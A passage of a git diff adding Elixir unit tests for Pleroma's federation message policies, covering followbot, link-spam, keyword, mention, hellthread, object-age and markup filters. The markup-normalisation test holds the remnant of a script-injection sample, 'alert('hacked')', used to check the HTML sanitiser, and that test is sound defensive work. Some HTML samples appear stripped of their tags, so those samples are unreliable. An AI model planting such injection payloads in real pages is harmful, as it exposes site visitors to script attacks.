"actor" => "https://example.com/users/cofe", + "type" => "Create", + "object" => %{"type" => "Note"} + }) + + refute Map.has_key?(activity, "expires_at") + end + + test "ignores non-Create/Note activities" do + assert {:ok, activity} = + ActivityExpirationPolicy.filter(%{ + "id" => "https://example.com/123", + "actor" => "https://example.com/users/cofe", + "type" => "Follow" + }) + + refute Map.has_key?(activity, "expires_at") + + assert {:ok, activity} = + ActivityExpirationPolicy.filter(%{ + "id" => "https://example.com/123", + "actor" => "https://example.com/users/cofe", + "type" => "Create", + "object" => %{"type" => "Cofe"} + }) + + refute Map.has_key?(activity, "expires_at") + end +end diff --git a/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs b/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs new file mode 100644 index 000000000..3c795f5ac --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/anti_followbot_policy_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.AntiFollowbotPolicy + + describe "blocking based on attributes" do + test "matches followbots by nickname" do + actor = insert(:user, %{nickname: "followbot@example.com"}) + target = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Follow", + "actor" => actor.ap_id, + "object" => target.ap_id, + "id" => "https://example.com/activities/1234" + } + + assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message) + end + + test "matches followbots by display name" do + actor = insert(:user, %{name: "Federation Bot"}) + target = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Follow", + "actor" => actor.ap_id, + "object" => target.ap_id, + "id" => "https://example.com/activities/1234" + } + + assert {:reject, "[AntiFollowbotPolicy]" <> _} = AntiFollowbotPolicy.filter(message) + end + end + + test "it allows non-followbots" do + actor = insert(:user) + target = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Follow", + "actor" => actor.ap_id, + "object" => target.ap_id, + "id" => "https://example.com/activities/1234" + } + + {:ok, _} = AntiFollowbotPolicy.filter(message) + end + + test "it gracefully handles nil display names" do + actor = insert(:user, %{name: nil}) + target = insert(:user) + + message = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Follow", + "actor" => actor.ap_id, + "object" => target.ap_id, + "id" => "https://example.com/activities/1234" + } + + {:ok, _} = AntiFollowbotPolicy.filter(message) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/anti_link_spam_policy_test.exs b/test/pleroma/web/activity_pub/mrf/anti_link_spam_policy_test.exs new file mode 100644 index 000000000..6867c9853 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/anti_link_spam_policy_test.exs @@ -0,0 +1,166 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + import ExUnit.CaptureLog + + alias Pleroma.Web.ActivityPub.MRF.AntiLinkSpamPolicy + + @linkless_message %{ + "type" => "Create", + "object" => %{ + "content" => "hi world!" + } + } + + @linkful_message %{ + "type" => "Create", + "object" => %{ + "content" => "hi world!" + } + } + + @response_message %{ + "type" => "Create", + "object" => %{ + "name" => "yes", + "type" => "Answer" + } + } + + describe "with new user" do + test "it allows posts without links" do + user = insert(:user, local: false) + + assert user.note_count == 0 + + message = + @linkless_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + + test "it disallows posts with links" do + user = insert(:user, local: false) + + assert user.note_count == 0 + + message = + @linkful_message + |> Map.put("actor", user.ap_id) + + {:reject, _} = AntiLinkSpamPolicy.filter(message) + end + + test "it allows posts with links for local users" do + user = insert(:user) + + assert user.note_count == 0 + + message = + @linkful_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + end + + describe "with old user" do + test "it allows posts without links" do + user = insert(:user, note_count: 1) + + assert user.note_count == 1 + + message = + @linkless_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + + test "it allows posts with links" do + user = insert(:user, note_count: 1) + + assert user.note_count == 1 + + message = + @linkful_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + end + + describe "with followed new user" do + test "it allows posts without links" do + user = insert(:user, follower_count: 1) + + assert user.follower_count == 1 + + message = + @linkless_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + + test "it allows posts with links" do + user = insert(:user, follower_count: 1) + + assert user.follower_count == 1 + + message = + @linkful_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + end + + describe "with unknown actors" do + setup do + Tesla.Mock.mock(fn + %{method: :get, url: "http://invalid.actor"} -> + %Tesla.Env{status: 500, body: ""} + end) + + :ok + end + + test "it rejects posts without links" do + message = + @linkless_message + |> Map.put("actor", "http://invalid.actor") + + assert capture_log(fn -> + {:reject, _} = AntiLinkSpamPolicy.filter(message) + end) =~ "[error] Could not decode user at fetch http://invalid.actor" + end + + test "it rejects posts with links" do + message = + @linkful_message + |> Map.put("actor", "http://invalid.actor") + + assert capture_log(fn -> + {:reject, _} = AntiLinkSpamPolicy.filter(message) + end) =~ "[error] Could not decode user at fetch http://invalid.actor" + end + end + + describe "with contentless-objects" do + test "it does not reject them or error out" do + user = insert(:user, note_count: 1) + + message = + @response_message + |> Map.put("actor", user.ap_id) + + {:ok, _message} = AntiLinkSpamPolicy.filter(message) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs b/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs new file mode 100644 index 000000000..9a283f27d --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/ensure_re_prepended_test.exs @@ -0,0 +1,92 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.EnsureRePrependedTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.MRF.EnsureRePrepended + + describe "rewrites summary" do + test "it adds `re:` to summary object when child summary and parent summary equal" do + message = %{ + "type" => "Create", + "object" => %{ + "summary" => "object-summary", + "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "object-summary"}}} + } + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res["object"]["summary"] == "re: object-summary" + end + + test "it adds `re:` to summary object when child summary containts re-subject of parent summary " do + message = %{ + "type" => "Create", + "object" => %{ + "summary" => "object-summary", + "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "re: object-summary"}}} + } + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res["object"]["summary"] == "re: object-summary" + end + end + + describe "skip filter" do + test "it skip if type isn't 'Create'" do + message = %{ + "type" => "Annotation", + "object" => %{"summary" => "object-summary"} + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + + test "it skip if summary is empty" do + message = %{ + "type" => "Create", + "object" => %{ + "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}} + } + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + + test "it skip if inReplyTo is empty" do + message = %{"type" => "Create", "object" => %{"summary" => "summary"}} + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + + test "it skip if parent and child summary isn't equal" do + message = %{ + "type" => "Create", + "object" => %{ + "summary" => "object-summary", + "inReplyTo" => %Activity{object: %Object{data: %{"summary" => "summary"}}} + } + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + + test "it skips if the object is only a reference" do + message = %{ + "type" => "Create", + "object" => "somereference" + } + + assert {:ok, res} = EnsureRePrepended.filter(message) + assert res == message + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/hellthread_policy_test.exs b/test/pleroma/web/activity_pub/mrf/hellthread_policy_test.exs new file mode 100644 index 000000000..26f5bcdaa --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/hellthread_policy_test.exs @@ -0,0 +1,92 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.HellthreadPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + import Pleroma.Web.ActivityPub.MRF.HellthreadPolicy + + alias Pleroma.Web.CommonAPI + + setup do + user = insert(:user) + + message = %{ + "actor" => user.ap_id, + "cc" => [user.follower_address], + "type" => "Create", + "to" => [ + "https://www.w3.org/ns/activitystreams#Public", + "https://instance.tld/users/user1", + "https://instance.tld/users/user2", + "https://instance.tld/users/user3" + ], + "object" => %{ + "type" => "Note" + } + } + + [user: user, message: message] + end + + setup do: clear_config(:mrf_hellthread) + + test "doesn't die on chat messages" do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 2, reject_threshold: 0}) + + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post_chat_message(user, other_user, "moin") + + assert {:ok, _} = filter(activity.data) + end + + describe "reject" do + test "rejects the message if the recipient count is above reject_threshold", %{ + message: message + } do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 2}) + + assert {:reject, "[HellthreadPolicy] 3 recipients is over the limit of 2"} == + filter(message) + end + + test "does not reject the message if the recipient count is below reject_threshold", %{ + message: message + } do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 3}) + + assert {:ok, ^message} = filter(message) + end + end + + describe "delist" do + test "delists the message if the recipient count is above delist_threshold", %{ + user: user, + message: message + } do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 2, reject_threshold: 0}) + + {:ok, message} = filter(message) + assert user.follower_address in message["to"] + assert "https://www.w3.org/ns/activitystreams#Public" in message["cc"] + end + + test "does not delist the message if the recipient count is below delist_threshold", %{ + message: message + } do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 4, reject_threshold: 0}) + + assert {:ok, ^message} = filter(message) + end + end + + test "excludes follower collection and public URI from threshold count", %{message: message} do + Pleroma.Config.put([:mrf_hellthread], %{delist_threshold: 0, reject_threshold: 3}) + + assert {:ok, ^message} = filter(message) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/keyword_policy_test.exs b/test/pleroma/web/activity_pub/mrf/keyword_policy_test.exs new file mode 100644 index 000000000..b3d0f3d90 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/keyword_policy_test.exs @@ -0,0 +1,225 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.KeywordPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.MRF.KeywordPolicy + + setup do: clear_config(:mrf_keyword) + + setup do + Pleroma.Config.put([:mrf_keyword], %{reject: [], federated_timeline_removal: [], replace: []}) + end + + describe "rejecting based on keywords" do + test "rejects if string matches in content" do + Pleroma.Config.put([:mrf_keyword, :reject], ["pun"]) + + message = %{ + "type" => "Create", + "object" => %{ + "content" => "just a daily reminder that compLAINer is a good pun", + "summary" => "" + } + } + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} = + KeywordPolicy.filter(message) + end + + test "rejects if string matches in summary" do + Pleroma.Config.put([:mrf_keyword, :reject], ["pun"]) + + message = %{ + "type" => "Create", + "object" => %{ + "summary" => "just a daily reminder that compLAINer is a good pun", + "content" => "" + } + } + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} = + KeywordPolicy.filter(message) + end + + test "rejects if regex matches in content" do + Pleroma.Config.put([:mrf_keyword, :reject], [~r/comp[lL][aA][iI][nN]er/]) + + assert true == + Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> + message = %{ + "type" => "Create", + "object" => %{ + "content" => "just a daily reminder that #{content} is a good pun", + "summary" => "" + } + } + + {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + KeywordPolicy.filter(message) + end) + end + + test "rejects if regex matches in summary" do + Pleroma.Config.put([:mrf_keyword, :reject], [~r/comp[lL][aA][iI][nN]er/]) + + assert true == + Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> + message = %{ + "type" => "Create", + "object" => %{ + "summary" => "just a daily reminder that #{content} is a good pun", + "content" => "" + } + } + + {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + KeywordPolicy.filter(message) + end) + end + end + + describe "delisting from ftl based on keywords" do + test "delists if string matches in content" do + Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], ["pun"]) + + message = %{ + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "type" => "Create", + "object" => %{ + "content" => "just a daily reminder that compLAINer is a good pun", + "summary" => "" + } + } + + {:ok, result} = KeywordPolicy.filter(message) + assert ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] + refute ["https://www.w3.org/ns/activitystreams#Public"] == result["to"] + end + + test "delists if string matches in summary" do + Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], ["pun"]) + + message = %{ + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "type" => "Create", + "object" => %{ + "summary" => "just a daily reminder that compLAINer is a good pun", + "content" => "" + } + } + + {:ok, result} = KeywordPolicy.filter(message) + assert ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] + refute ["https://www.w3.org/ns/activitystreams#Public"] == result["to"] + end + + test "delists if regex matches in content" do + Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], [~r/comp[lL][aA][iI][nN]er/]) + + assert true == + Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{ + "content" => "just a daily reminder that #{content} is a good pun", + "summary" => "" + } + } + + {:ok, result} = KeywordPolicy.filter(message) + + ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] and + not (["https://www.w3.org/ns/activitystreams#Public"] == result["to"]) + end) + end + + test "delists if regex matches in summary" do + Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], [~r/comp[lL][aA][iI][nN]er/]) + + assert true == + Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{ + "summary" => "just a daily reminder that #{content} is a good pun", + "content" => "" + } + } + + {:ok, result} = KeywordPolicy.filter(message) + + ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] and + not (["https://www.w3.org/ns/activitystreams#Public"] == result["to"]) + end) + end + end + + describe "replacing keywords" do + test "replaces keyword if string matches in content" do + Pleroma.Config.put([:mrf_keyword, :replace], [{"opensource", "free software"}]) + + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{"content" => "ZFS is opensource", "summary" => ""} + } + + {:ok, %{"object" => %{"content" => result}}} = KeywordPolicy.filter(message) + assert result == "ZFS is free software" + end + + test "replaces keyword if string matches in summary" do + Pleroma.Config.put([:mrf_keyword, :replace], [{"opensource", "free software"}]) + + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{"summary" => "ZFS is opensource", "content" => ""} + } + + {:ok, %{"object" => %{"summary" => result}}} = KeywordPolicy.filter(message) + assert result == "ZFS is free software" + end + + test "replaces keyword if regex matches in content" do + Pleroma.Config.put([:mrf_keyword, :replace], [ + {~r/open(-|\s)?source\s?(software)?/, "free software"} + ]) + + assert true == + Enum.all?(["opensource", "open-source", "open source"], fn content -> + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{"content" => "ZFS is #{content}", "summary" => ""} + } + + {:ok, %{"object" => %{"content" => result}}} = KeywordPolicy.filter(message) + result == "ZFS is free software" + end) + end + + test "replaces keyword if regex matches in summary" do + Pleroma.Config.put([:mrf_keyword, :replace], [ + {~r/open(-|\s)?source\s?(software)?/, "free software"} + ]) + + assert true == + Enum.all?(["opensource", "open-source", "open source"], fn content -> + message = %{ + "type" => "Create", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "object" => %{"summary" => "ZFS is #{content}", "content" => ""} + } + + {:ok, %{"object" => %{"summary" => result}}} = KeywordPolicy.filter(message) + result == "ZFS is free software" + end) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/media_proxy_warming_policy_test.exs b/test/pleroma/web/activity_pub/mrf/media_proxy_warming_policy_test.exs new file mode 100644 index 000000000..1710c4d2a --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/media_proxy_warming_policy_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do + use Pleroma.DataCase + + alias Pleroma.HTTP + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy + + import Mock + + @message %{ + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "content", + "attachment" => [ + %{"url" => [%{"href" => "http://example.com/image.jpg"}]} + ] + } + } + + setup do: clear_config([:media_proxy, :enabled], true) + + test "it prefetches media proxy URIs" do + with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do + MediaProxyWarmingPolicy.filter(@message) + + ObanHelpers.perform_all() + # Performing jobs which has been just enqueued + ObanHelpers.perform_all() + + assert called(HTTP.get(:_, :_, :_)) + end + end + + test "it does nothing when no attachments are present" do + object = + @message["object"] + |> Map.delete("attachment") + + message = + @message + |> Map.put("object", object) + + with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do + MediaProxyWarmingPolicy.filter(message) + refute called(HTTP.get(:_, :_, :_)) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/mention_policy_test.exs b/test/pleroma/web/activity_pub/mrf/mention_policy_test.exs new file mode 100644 index 000000000..220309cc9 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/mention_policy_test.exs @@ -0,0 +1,96 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.MentionPolicyTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.MRF.MentionPolicy + + setup do: clear_config(:mrf_mention) + + test "pass filter if allow list is empty" do + Pleroma.Config.delete([:mrf_mention]) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/ok"], + "cc" => ["https://example.com/blocked"] + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + + describe "allow" do + test "empty" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create" + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + + test "to" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/ok"] + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + + test "cc" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "cc" => ["https://example.com/ok"] + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + + test "both" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/ok"], + "cc" => ["https://example.com/ok2"] + } + + assert MentionPolicy.filter(message) == {:ok, message} + end + end + + describe "deny" do + test "to" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/blocked"] + } + + assert MentionPolicy.filter(message) == + {:reject, "[MentionPolicy] Rejected for mention of https://example.com/blocked"} + end + + test "cc" do + Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) + + message = %{ + "type" => "Create", + "to" => ["https://example.com/ok"], + "cc" => ["https://example.com/blocked"] + } + + assert MentionPolicy.filter(message) == + {:reject, "[MentionPolicy] Rejected for mention of https://example.com/blocked"} + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs b/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs new file mode 100644 index 000000000..64ea61dd4 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/no_placeholder_text_policy_test.exs @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicyTest do + use Pleroma.DataCase + alias Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicy + + test "it clears content object" do + message = %{ + "type" => "Create", + "object" => %{"content" => ".", "attachment" => "image"} + } + + assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) + assert res["object"]["content"] == "" + + message = put_in(message, ["object", "content"], "

.

") + assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) + assert res["object"]["content"] == "" + end + + @messages [ + %{ + "type" => "Create", + "object" => %{"content" => "test", "attachment" => "image"} + }, + %{"type" => "Create", "object" => %{"content" => "."}}, + %{"type" => "Create", "object" => %{"content" => "

.

"}} + ] + test "it skips filter" do + Enum.each(@messages, fn message -> + assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) + assert res == message + end) + end +end diff --git a/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs b/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs new file mode 100644 index 000000000..9b39c45bd --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/normalize_markup_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.NormalizeMarkupTest do + use Pleroma.DataCase + alias Pleroma.Web.ActivityPub.MRF.NormalizeMarkup + + @html_sample """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ + """ + + test "it filter html tags" do + expected = """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ alert('hacked') + """ + + message = %{"type" => "Create", "object" => %{"content" => @html_sample}} + + assert {:ok, res} = NormalizeMarkup.filter(message) + assert res["object"]["content"] == expected + end + + test "it skips filter if type isn't `Create`" do + message = %{"type" => "Note", "object" => %{}} + + assert {:ok, res} = NormalizeMarkup.filter(message) + assert res == message + end +end diff --git a/test/pleroma/web/activity_pub/mrf/object_age_policy_test.exs b/test/pleroma/web/activity_pub/mrf/object_age_policy_test.exs new file mode 100644 index 000000000..cf6acc9a2 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/object_age_policy_test.exs @@ -0,0 +1,148 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ObjectAgePolicyTest do + use Pleroma.DataCase + alias Pleroma.Config + alias Pleroma.User + alias Pleroma.Web.ActivityPub.MRF.ObjectAgePolicy + alias Pleroma.Web.ActivityPub.Visibility + + setup do: + clear_config(:mrf_object_age, + threshold: 172_800, + actions: [:delist, :strip_followers] + ) + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + defp get_old_message do + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + end + + defp get_new_message do + old_message = get_old_message() + + new_object = + old_message + |> Map.get("object") + |> Map.put("published", DateTime.utc_now() |> DateTime.to_iso8601()) + + old_message + |> Map.put("object", new_object) + end + + describe "with reject action" do + test "works with objects with empty to or cc fields" do + Config.put([:mrf_object_age, :actions], [:reject]) + + data = + get_old_message() + |> Map.put("cc", nil) + |> Map.put("to", nil) + + assert match?({:reject, _}, ObjectAgePolicy.filter(data)) + end + + test "it rejects an old post" do + Config.put([:mrf_object_age, :actions], [:reject]) + + data = get_old_message() + + assert match?({:reject, _}, ObjectAgePolicy.filter(data)) + end + + test "it allows a new post" do + Config.put([:mrf_object_age, :actions], [:reject]) + + data = get_new_message() + + assert match?({:ok, _}, ObjectAgePolicy.filter(data)) + end + end + + describe "with delist action" do + test "works with objects with empty to or cc fields" do + Config.put([:mrf_object_age, :actions], [:delist]) + + data = + get_old_message() + |> Map.put("cc", nil) + |> Map.put("to", nil) + + {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) + + {:ok, data} = ObjectAgePolicy.filter(data) + + assert Visibility.get_visibility(%{data: data}) == "unlisted" + end + + test "it delists an old post" do + Config.put([:mrf_object_age, :actions], [:delist]) + + data = get_old_message() + + {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) + + {:ok, data} = ObjectAgePolicy.filter(data) + + assert Visibility.get_visibility(%{data: data}) == "unlisted" + end + + test "it allows a new post" do + Config.put([:mrf_object_age, :actions], [:delist]) + + data = get_new_message() + + {:ok, _user} = User.get_or_fetch_by_ap_id(data["actor"]) + + assert match?({:ok, ^data}, ObjectAgePolicy.filter(data)) + end + end + + describe "with strip_followers action" do + test "works with objects with empty to or cc fields" do + Config.put([:mrf_object_age, :actions], [:strip_followers]) + + data = + get_old_message() + |> Map.put("cc", nil) + |> Map.put("to", nil) + + {:ok, user} = User.get_or_fetch_by_ap_id(data["actor"]) + + {:ok, data} = ObjectAgePolicy.filter(data) + + refute user.follower_address in data["to"] + refute user.follower_address in data["cc"] + end + + test "it strips followers collections from an old post" do + Config.put([:mrf_object_age, :actions], [:strip_followers]) + + data = get_old_message() + + {:ok, user} = User.get_or_fetch_by_ap_id(data["actor"]) + + {:ok, data} = ObjectAgePolicy.filter(data) + + refute user.follower_address in data["to"] + refute user.follower_address in data["cc"] + end + + test "it allows a new post" do + Config.put([:mrf_object_age, :actions], [:strip_followers]) + + data = get_new_message() + + {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) + + assert match?({:ok, ^data}, ObjectAgePolicy.filter(data)) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs b/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs new file mode 100644 index 000000000..58b46b9a2 --- /dev/null +++ b/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs @@ -0,0 +1,100 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.RejectNonPublicTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Web.ActivityPub.MRF.RejectNonPublic + + setup do: clear_config([:mrf_rejectnonpublic]) + + describe "public message" do + test "it's allowed when address is public" do + actor = insert(:user, follower_address: "test-address") + + message = %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + assert {:ok, message} = RejectNonPublic.filter(message) + end + + test "it's allowed when cc address contain public address" do + actor = insert(:user, follower_address: "test-address") + + message = %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + assert {:ok, message} = RejectNonPublic.filter(message) + end + end + + describe "followers message" do + test "it's allowed when addrer of message in the follower addresses of user and it enabled in config" do + actor = insert(:user, follower_address: "test-address") + + message = %{ + "actor" => actor.ap_id, + "to" => ["test-address"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], true) + assert {:ok, message} = RejectNonPublic.filter(message) + end + + test "it's rejected when addrer of message in the follower addresses of user and it disabled in config" do + actor = insert(:user, follower_address: "test-address") + + message = %{ + "actor" => actor.ap_id, + "to" => ["test-address"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], false) + assert {:reject, _} = RejectNonPublic.filter(message) + end + end + + describe "direct message" do + test "it's allows when direct messages are allow" do + actor = insert(:user) + + message = %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Publid"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], true) + assert {:ok, message} = RejectNonPublic.filter(message) + end + + test "it's reject when direct messages aren't allow" do + actor = insert(:user) + + message = %{ + "actor" => actor.ap_id, + "to" => ["https://www.w3.org/ns/activitystreams#Publid~~~"], + "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], + "type" => "Create" + } + + Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], false) + assert {:reject, _} = RejectNonPublic.filter(message) + end + end +end diff --git a/test/pleroma/web/activity_pub/mrf/simple_policy_test.exs 